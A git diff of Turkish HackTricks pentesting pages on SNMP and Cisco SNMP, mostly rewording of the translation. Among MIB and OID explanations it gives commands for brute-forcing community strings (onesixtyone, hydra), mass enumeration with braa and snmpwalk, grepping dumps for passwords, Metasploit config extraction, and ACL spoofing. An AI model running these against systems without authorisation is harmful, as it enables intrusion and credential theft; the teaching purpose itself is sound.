-Eğer **hacking kariyeri** ilginizi çekiyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
+Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -33,21 +33,21 @@ SNMP ayrıca **tuzaklar** için **162/UDP** bağlantı noktasını da kullanır.
### MIB
-SNMP erişiminin farklı üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, cihaz bilgilerini depolamak için **bağımsız bir formattır**. MIB, tüm sorgulanabilir **SNMP nesnelerinin** standartlaştırılmış bir ağaç hiyerarşisinde listelendiği bir **metin** dosyasıdır. En az bir `Nesne Tanımlayıcı` (`OID`) içerir ve gerekli **benzersiz adresin yanı sıra bir isim** de sağlar ve ayrıca ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi verir.\
+SNMP erişiminin farklı üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, cihaz bilgilerini depolamak için **bağımsız bir formattır**. MIB, tüm sorgulanabilir **SNMP nesnelerinin** bir cihazda **standartlaştırılmış** ağaç hiyerarşisinde listelendiği bir **metin** dosyasıdır. En az bir `Nesne Tanımlayıcı` (`OID`) içerir ve gerekli **benzersiz adresin yanı sıra bir isim**, ayrıca ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve nasıl görüneceğini açıklar, belirli OID'ler için değerler döndürür veya hangi veri türünün kullanıldığını belirtir.
### OIDs
**Nesne Tanımlayıcılar (OID'ler)** önemli bir rol oynar. Bu benzersiz tanımlayıcılar, bir **Yönetim Bilgi Tabanı (MIB)** içindeki nesneleri yönetmek için tasarlanmıştır.
-MIB nesne kimliklerinin en üst seviyeleri, çeşitli standart belirleme kuruluşlarına tahsis edilmiştir. Küresel yönetim uygulamaları ve standartlar çerçevesi bu üst seviyelerde oluşturulur.
+MIB nesne kimliklerinin en üst seviyeleri veya OID'ler, çeşitli standart belirleme kuruluşlarına tahsis edilmiştir. Küresel yönetim uygulamaları ve standartlar çerçevesi bu üst seviyelerde oluşturulur.
-Ayrıca, satıcılar özel dallar oluşturma özgürlüğüne sahiptir. Bu dallar içinde, **kendi ürün hatlarıyla ilgili yönetilen nesneleri eklemek için özerklikleri vardır**. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlamak ve yönetmek için yapılandırılmış ve düzenli bir yöntem olduğunu sağlar.
+Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilir. Bu dallar içinde, **kendi ürün hatlarıyla ilgili yönetilen nesneleri eklemek için özerklikleri vardır**. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlamak ve yönetmek için yapılandırılmış ve düzenli bir yöntem olduğunu sağlar.
![](../../.gitbook/assets/snmp_oid_mib_tree.png)
Bir **OID ağacı** üzerinde **gezebilirsiniz** buradan: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya bir OID'nin ne anlama geldiğini görebilirsiniz (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
-[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içindeki gibi **tanınmış OID'ler** bulunmaktadır, bu, MIB-2 tarafından tanımlanan Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine referans verir. Ve bu OID'lerden **elde edilen bazı ilginç ana bilgisayar verilerini** (sistem verileri, ağ verileri, işlem verileri...) alabilirsiniz.
+[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içindeki gibi **tanınmış OID'ler** bulunmaktadır, bu, MIB-2 tarafından tanımlanan Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine referans verir. Ve bu OID'lerden **elde edebileceğiniz** bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, işlem verileri...) olabilir.
### **OID Örneği**
@@ -55,41 +55,41 @@ Bir **OID ağacı** üzerinde **gezebilirsiniz** buradan: [http://www.oid-info.c
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
-Bu adresin ayrıntıları şöyle:
+Bu adresin ayrıntıları aşağıda verilmiştir.
-* 1 - Bu ISO olarak adlandırılır ve bu bir OID olduğunu belirler. Bu nedenle, tüm OID'ler "1" ile başlar.
-* 3 - Bu ORG olarak adlandırılır ve cihazı kuran organizasyonu belirtmek için kullanılır.
-* 6 - Bu dod veya Savunma Bakanlığıdır ve İnternet'i ilk kez kuran organizasyondur.
-* 1 - Bu, tüm iletişimlerin İnternet üzerinden gerçekleşeceğini belirtmek için internetin değeridir.
-* 4 - Bu değer, bu cihazın bir devlet kurumu değil, özel bir kuruluş tarafından yapıldığını belirler.
-* 1 - Bu değer, cihazın bir işletme veya ticari bir varlık tarafından yapıldığını belirtir.
+* 1 – Bu, ISO olarak adlandırılır ve bu bir OID olduğunu belirler. Bu nedenle, tüm OID'ler "1" ile başlar.
+* 3 – Bu, ORG olarak adlandırılır ve cihazı kuran organizasyonu belirtmek için kullanılır.
+* 6 – Bu, dod veya Savunma Bakanlığıdır ve İnternet'i ilk kez kuran organizasyondur.
+* 1 – Bu, tüm iletişimlerin İnternet üzerinden gerçekleşeceğini belirtmek için internetin değeridir.
+* 4 – Bu değer, bu cihazın bir devlet kurumu değil, özel bir kuruluş tarafından yapıldığını belirler.
+* 1 – Bu değer, cihazın bir işletme veya ticari bir varlık tarafından yapıldığını belirtir.
-Bu ilk altı değer genellikle tüm cihazlar için aynı olma eğilimindedir ve temel bilgileri verir. Bu sayı dizisi, cihazlar için tüm OID'ler için aynı olacaktır, cihaz devlet tarafından yapıldığında hariç.
+Bu ilk altı değer genellikle tüm cihazlar için aynı olma eğilimindedir ve temel bilgileri verir. Bu sayı dizisi, cihazlar için tüm OID'ler için aynı olacaktır, cihaz devlet tarafından yapıldığında dışında.
-Sonraki sayılar dizisine geçelim.
+Sonraki sayılar setine geçelim.
-* 1452 - Bu cihazı üreten organizasyonun adını verir.
-* 1 - Cihazın türünü açıklar. Bu durumda, bir alarm saati.
-* 2 - Bu cihazın bir uzak terminal ünitesi olduğunu belirler.
+* 1452 – Bu cihazı üreten organizasyonun adını verir.
+* 1 – Cihazın türünü açıklar. Bu durumda, bir alarm saati.
+* 2 – Bu cihazın bir uzak terminal ünitesi olduğunu belirler.
Gerisi, cihaz hakkında belirli bilgiler verir.
-* 5 - ayrı bir alarm noktasını belirtir.
-* 1 - cihazdaki belirli nokta
-* 3 - bağlantı noktası
-* 21 - bağlantı noktasının adresi
-* 1 - bağlantı noktası için ekran
-* 4 - nokta numarası
-* 7 - noktanın durumu
+* 5 – Belirli bir alarm noktasını belirtir.
+* 1 – Cihazdaki belirli nokta
+* 3 – Port
+* 21 – Portun adresi
+* 1 – Port için ekran
+* 4 – Nokta numarası
+* 7 – Noktanın durumu
### SNMP Sürümleri
SNMP'nin 2 önemli sürümü vardır:
-* **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye dayanır** (topluluk dizesi) ve **tüm bilgiler düz metin olarak iletilir**. **Sürüm 2 ve 2c** de **trafik düz metin olarak gönderilir** ve kimlik doğrulaması için bir **topluluk dizesi kullanır**.
-* **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgi, **şifrelenmiş** olarak iletilir (**sözlük saldırısı** gerçekleştirilebilir ancak doğru kimlik bilgilerini bulmak SNMPv1 ve v2'den daha zor olacaktır).
+* **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye dayanır** (topluluk dizesi) ve **tüm bilgiler düz metin olarak iletilir**. **Sürüm 2 ve 2c** de **trafik düz metin olarak** gönderilir ve **kimlik doğrulama için bir topluluk dizesi kullanılır**.
+* **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgi **şifrelenmiş** olarak iletilir (**sözlük saldırısı** gerçekleştirilebilir ancak doğru kimlik bilgilerini bulmak SNMPv1 ve v2'den daha zor olacaktır).
-### Topluluk Dizileri
+### Topluluk Dizeleri
Daha önce belirtildiği gibi, **MIB'de kayıtlı bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini, sürüm 3'te kimlik bilgilerini bilmelisiniz.**\
**2 tür topluluk dizesi** vardır:
@@ -100,15 +100,15 @@ Daha önce belirtildiği gibi, **MIB'de kayıtlı bilgilere erişmek için sür
Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır, bu nedenle **"public"** kullanıldığını bulsanız bile, **bazı değerleri yazabilirsiniz**. Ayrıca, **her zaman "Salt Okunur"** olan nesneler olabilir.\
Bir nesneyi **yazmaya** çalışırsanız **`noSuchName` veya `readOnly` hatası** alırsınız\*\*.\*\*
-Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız sunucu **yanıt vermez**. Bu nedenle, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
+Sürüm 1 ve 2/2c'de kötü bir topluluk dizesi kullanırsanız sunucu **yanıt vermeyecektir**. Bu nedenle, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
## Bağlantı Noktaları
[Wikipedia'dan](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
-* SNMP ajanı, UDP bağlantı noktası **161** üzerinden istek alır.
+* SNMP ajanı, UDP bağlantı noktası **161** üzerinden istekleri alır.
* Yönetici, bildirimleri ([Tuzaklar](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) ve [Bilgi İstekleri](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) **162** numaralı bağlantı noktasından alır.
-* [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) ile kullanıldığında, istekler **10161** numaralı bağlantı noktasından alınır ve bildirimler **10162** numaralı bağlantı noktasına gönderilir.
+* [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) ile kullanıldığında istekler **10161** numaralı bağlantı noktasından alınır ve bildirimler **10162** numaralı bağlantı noktasına gönderilir.
## Kaba Kuvvet Topluluk Dizesi (v1 ve v2c)
@@ -116,7 +116,7 @@ Topluluk dizesini **tahmin etmek** için bir sözlük saldırısı gerçekleşti
## SNMP Numaralandırma
-Her bir OID'nin ne anlama geldiğini görmek için aşağıdakileri yüklemeniz önerilir:
+Her OID'nin cihazdan toplanan anlamını görmek için aşağıdakileri yüklemeniz önerilir:
```bash
apt-get install snmp-mibs-downloader
download-mibs
@@ -139,11 +139,11 @@ nmap --script "snmp* and not snmp-brute"
braa @:.1.3.6.* #Bruteforce specific OID
```
-Uzatılmış sorgular (download-mibs) sayesinde, aşağıdaki komut ile sistem hakkında daha fazla bilgi sıralamak mümkündür:
+Uzatılmış sorgular (download-mibs) sayesinde, aşağıdaki komutla sistem hakkında daha fazla bilgi sıralamak mümkündür:
```bash
snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
-**SNMP**, ana bilgisayar hakkında birçok bilgi içerir ve ilginizi çekebilecek şeyler şunlardır: **Ağ arabirimleri** (IPv4 ve **IPv6** adresi), Kullanıcı adları, Çalışma süresi, Sunucu/İşletim sistemi sürümü ve **çalışan** işlemler (şifreler içerebilir)....
+**SNMP**, ana bilgisayar hakkında birçok bilgi içerir ve ilginç bulabileceğiniz şeyler şunlardır: **Ağ arabirimleri** (IPv4 ve **IPv6** adresi), Kullanıcı adları, Çalışma süresi, Sunucu/İşletim sistemi sürümü ve **çalışan** **işlemler** (şifreler içerebilir)....
### **Tehlikeli Ayarlar**
@@ -151,26 +151,26 @@ Ağ yönetimi alanında, belirli yapılandırmalar ve parametreler kapsamlı izl
### Erişim Ayarları
-Ağ yönetiminde önemli iki ayar, ağ yönetiminde kritik bir bileşen olan **tam OID ağacına** erişimi sağlar:
+Ağ yönetiminde, tam OID ağacına erişimi sağlayan iki ana ayar şunlardır:
-1. **`rwuser noauth`**, kimlik doğrulama gerektirmeksizin OID ağacına tam erişime izin vermek için ayarlanmıştır. Bu ayar açıktır ve kısıtlamasız erişime olanak tanır.
+1. **`rwuser noauth`**, kimlik doğrulama gerektirmeksizin tam erişime izin vermek için ayarlanmıştır. Bu ayar basittir ve sınırsız erişime olanak tanır.
2. Daha spesifik kontrol için erişim, şu şekilde sağlanabilir:
-* **`rwcommunity`** için **IPv4** adresleri ve
-* **`rwcommunity6`** için **IPv6** adresleri.
+* **`rwcommunity`** IPv4 adresleri için ve
+* **`rwcommunity6`** IPv6 adresleri için.
Her iki komut da bir **topluluk dizesi** ve ilgili IP adresini gerektirir, isteğin kaynağından bağımsız olarak tam erişim sağlar.
### Microsoft Windows İçin SNMP Parametreleri
-Bir Windows sisteminin çeşitli yönlerini izlemek için SNMP aracılığıyla kullanılan bir dizi **Yönetim Bilgi Tabanı (MIB) değeri**:
+Windows sisteminin çeşitli yönlerini izlemek için **Yönetim Bilgi Tabanı (MIB) değerleri** kullanılır:
-* **Sistem İşlemleri**: `1.3.6.1.2.1.25.1.6.0` üzerinden erişilen bu parametre, sistem içindeki etkin işlemlerin izlenmesine olanak tanır.
+* **Sistem İşlemleri**: `1.3.6.1.2.1.25.1.6.0` üzerinden erişilen bu parametre, sistemdeki etkin işlemlerin izlenmesine olanak tanır.
* **Çalışan Programlar**: `1.3.6.1.2.1.25.4.2.1.2` değeri, şu anda çalışan programların izlenmesi için belirlenmiştir.
-* **İşlem Yolu**: Bir işlemin nereden çalıştığını belirlemek için `1.3.6.1.2.1.25.4.2.1.4` MIB değeri kullanılır.
+* **İşlemler Yolu**: Bir işlemin nereden çalıştığını belirlemek için `1.3.6.1.2.1.25.4.2.1.4` MIB değeri kullanılır.
* **Depolama Birimleri**: Depolama birimlerinin izlenmesi, `1.3.6.1.2.1.25.2.3.1.4` ile kolaylaştırılır.
-* **Yazılım Adı**: Bir sisteme yüklenen yazılımı tanımlamak için `1.3.6.1.2.1.25.6.3.1.2` kullanılır.
+* **Yazılım Adı**: Bir sistemde yüklü yazılımı tanımlamak için `1.3.6.1.2.1.25.6.3.1.2` kullanılır.
* **Kullanıcı Hesapları**: `1.3.6.1.4.1.77.1.2.25` değeri, kullanıcı hesaplarının izlenmesine olanak tanır.
-* **TCP Yerel Portlar**: Son olarak, `1.3.6.1.2.1.6.13.1.3`, TCP yerel portların izlenmesi için belirlenmiştir, aktif ağ bağlantıları hakkında bilgi sağlar.
+* **TCP Yerel Portlar**: Son olarak, `1.3.6.1.2.1.6.13.1.3` TCP yerel portlarının izlenmesi için belirlenmiştir, aktif ağ bağlantıları hakkında bilgi sağlar.
### Cisco
@@ -190,11 +190,11 @@ Eğer SNMP servisi içinde **değer yazmaya izin veren dizeye** sahipseniz, bunu
## **Kapsamlı SNMP**
-[Braa ](https://github.com/mteg/braa), kapsamlı bir SNMP tarayıcıdır. Bu tür bir aracın amaçlanan kullanımı elbette SNMP sorguları yapmaktır - ancak net-snmp'den snmpwalk'ın aksine, onlarca veya yüzlerce ana bilgisayara aynı anda sorgu yapabilir ve tek bir işlemde yapabilir. Bu nedenle, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
+[Braa ](https://github.com/mteg/braa)kütle SNMP tarayıcısıdır. Bu tür bir aracın amaçlanan kullanımı elbette SNMP sorguları yapmaktır - ancak net-snmp'den snmpwalk gibi onlarca veya yüzlerce ana bilgisayara aynı anda ve tek bir işlemde sorgu yapabilir ve bu nedenle çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
-Braa, kendi SNMP yığını uygular, bu nedenle net-snmp gibi SNMP kütüphanelerine ihtiyaç duymaz.
+Braa kendi SNMP yığını uygular, bu nedenle net-snmp gibi SNMP kütüphanelerine ihtiyaç duymaz.
-**Syntax:** braa \[Topluluk-dizesi]@\[SNMP sunucusunun IP adresi]:\[iso kimliği]
+**Sözdizimi:** braa \[Topluluk-dizisi]@\[SNMP sunucusunun IP adresi]:\[iso kimliği]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@@ -210,29 +210,29 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Özel Dizeyi Tanımlama**
-Örgütler tarafından özellikle Cisco IOS yönlendiricilerinde kullanılan **özel topluluk dizesini** tanımlamak önemli bir adımdır. Bu dize, yönlendiricilerden **çalışan yapılandırmaların** çıkarılmasını sağlar. Tanımlama genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bir **grep komutu** kullanılır:
+Örgütler tarafından özellikle Cisco IOS yönlendiricilerinde kullanılan **özel topluluk dizesini** tanımlamak önemli bir adımdır. Bu dize, yönlendiricilerden **çalışan yapılandırmaların** çıkarılmasını sağlar. Tanımlama genellikle bir **grep komutu** ile SNMP Tuzak verilerini analiz etmeye dayanır ve "tuzak" kelimesini arar.
```bash
grep -i "trap" *.snmp
```
### **Kullanıcı Adları/Şifreler**
-MIB tablolarında saklanan günlükler, yanlış giriş denemeleri için incelenir, bu yanlışlıkla kullanıcı adı olarak girilen şifreleri içerebilir. Değerli verileri bulmak için _fail_, _failed_ veya _login_ gibi anahtar kelimeler aranır:
+MIB tablolarında saklanan günlükler, yanlış giriş denemeleri için incelenir, bu da yanlışlıkla kullanıcı adı olarak girilen şifreleri içerebilir. Değerli verileri bulmak için _fail_, _failed_ veya _login_ gibi anahtar kelimeler aranır:
```bash
grep -i "login\|fail" *.snmp
```
### **E-postalar**
-Son olarak, verilerden **e-posta adreslerini** çıkarmak için, e-posta formatlarına uyan desenlere odaklanan bir **grep komutu** ile bir düzenli ifade kullanılır:
+Son olarak, verilerden **e-posta adreslerini** çıkarmak için, e-posta formatlarıyla eşleşen desenlere odaklanan bir düzenli ifade içeren bir **grep komutu** kullanılır:
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## SNMP Değerlerini Değiştirme
-Değerleri değiştirmek için _**NetScanTools**_ kullanabilirsiniz. Bunu yapabilmek için **özel dizeyi** bilmelisiniz.
+SNMP değerlerini değiştirmek için _**NetScanTools**_ kullanabilirsiniz. Bunu yapabilmek için **özel dizeyi (private string)** bilmelisiniz.
## Spoofing
-Eğer yalnızca belirli IP'lerin SMNP servisine sorgu yapmasına izin veren bir ACL varsa, bu adreslerden birini UDP paketi içinde sahteleştirebilir ve trafiği dinleyebilirsiniz.
+Eğer SMNP servisine sorgu yapmaya izin veren yalnızca belirli IP'leri içeren bir ACL varsa, UDP paketi içinde bu adreslerden birini taklit edebilir ve trafiği dinleyebilirsiniz.
## SNMP Yapılandırma Dosyalarını İnceleme
@@ -240,9 +240,9 @@ Eğer yalnızca belirli IP'lerin SMNP servisine sorgu yapmasına izin veren bir
* snmpd.conf
* snmp-config.xml
-
+
-Eğer **hacking kariyeri** sizi ilgilendiriyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşulması gerekmektedir_).
+Eğer **hacking kariyeri** sizi ilgilendiriyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -284,13 +284,13 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
```
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
+AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
index 40b2f789e..b30583b3b 100644
--- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md
+++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
@@ -2,25 +2,25 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
+Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
-* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
-* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
-Eğer **hacking kariyeri** ilginizi çekiyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
+Eğer **hacking kariyeri** ilginizi çekiyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Cisco Ağlarının Pentest Edilmesi
-**SNMP**, genel mesajlar için 161/UDP ve trap mesajları için 162/UDP portları üzerinden UDP üzerinde çalışır. Bu protokol, SNMP ajanları ve sunucular arasında iletişimi sağlayan şifreler olarak hizmet veren topluluk dizilerine dayanır. Bu dizeler, erişim seviyelerini belirledikleri için önemlidir, özellikle **salt okunur (RO) veya okuma-yazma (RW) izinleri**. Bir pentester için dikkate değer bir saldırı vektörü, ağ cihazlarına sızmayı amaçlayan **topluluk dizilerinin kaba kuvvet saldırısı**dır.
+**SNMP**, genel mesajlar için 161/UDP ve trap mesajları için 162/UDP portları üzerinden UDP üzerinde çalışır. Bu protokol, SNMP ajanları ve sunucular arasında iletişimi sağlayan şifreler olarak hizmet veren topluluk dizilerine dayanır. Bu dizeler, erişim seviyelerini belirledikleri için özellikle **salt okunur (RO) veya okuma-yazma (RW) izinleri** için önemlidir. Pentesterlar için dikkate değer bir saldırı vektörü, ağ cihazlarına sızmak amacıyla **topluluk dizilerinin kaba kuvvet saldırısı**dır.
Bu tür kaba kuvvet saldırılarını gerçekleştirmek için pratik bir araç [**onesixtyone**](https://github.com/trailofbits/onesixtyone)'dir, bu araç potansiyel topluluk dizileri listesi ve hedeflerin IP adreslerini gerektirir:
```bash
@@ -31,15 +31,15 @@ onesixtyone -c communitystrings -i targets
Metasploit çerçevesi, `cisco_config_tftp` modülünü içerir ve cihaz yapılandırmalarının çıkarılmasını kolaylaştırır, RW topluluk dizesi elde edilmesine bağlı olarak. Bu işlem için temel parametreler şunlardır:
* RW topluluk dizesi (**COMMUNITY**)
-* Saldırganın IP'si (**LHOST**)
-* Hedef cihazın IP'si (**RHOSTS**)
-* Yapılandırma dosyaları için hedef dizin (**OUTPUTDIR**)
+* Saldırganın IP adresi (**LHOST**)
+* Hedef cihazın IP adresi (**RHOSTS**)
+* Yapılandırma dosyaları için hedef dizin yolu (**OUTPUTDIR**)
Yapılandırma yapıldıktan sonra, bu modül cihaz ayarlarının belirtilen bir klasöre doğrudan indirilmesini sağlar.
#### `snmp_enum`
-Başka bir Metasploit modülü, **`snmp_enum`**, detaylı donanım bilgileri toplamaya odaklanır. Başarılı yürütme için hedefin IP adresini gerektirir ve her iki tür topluluk dizesiyle çalışır:
+Başka bir Metasploit modülü, **`snmp_enum`**, detaylı donanım bilgileri toplamaya odaklanır. Herhangi bir topluluk dizesi türüyle çalışır ve başarılı bir şekilde yürütülebilmesi için hedefin IP adresini gerektirir:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
@@ -49,7 +49,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
-
+
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
@@ -59,10 +59,10 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
-* Bir **cybersecurity şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI** kontrol edin](https://github.com/sponsors/carlospolop)!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
-* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
+* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **takip edin**.
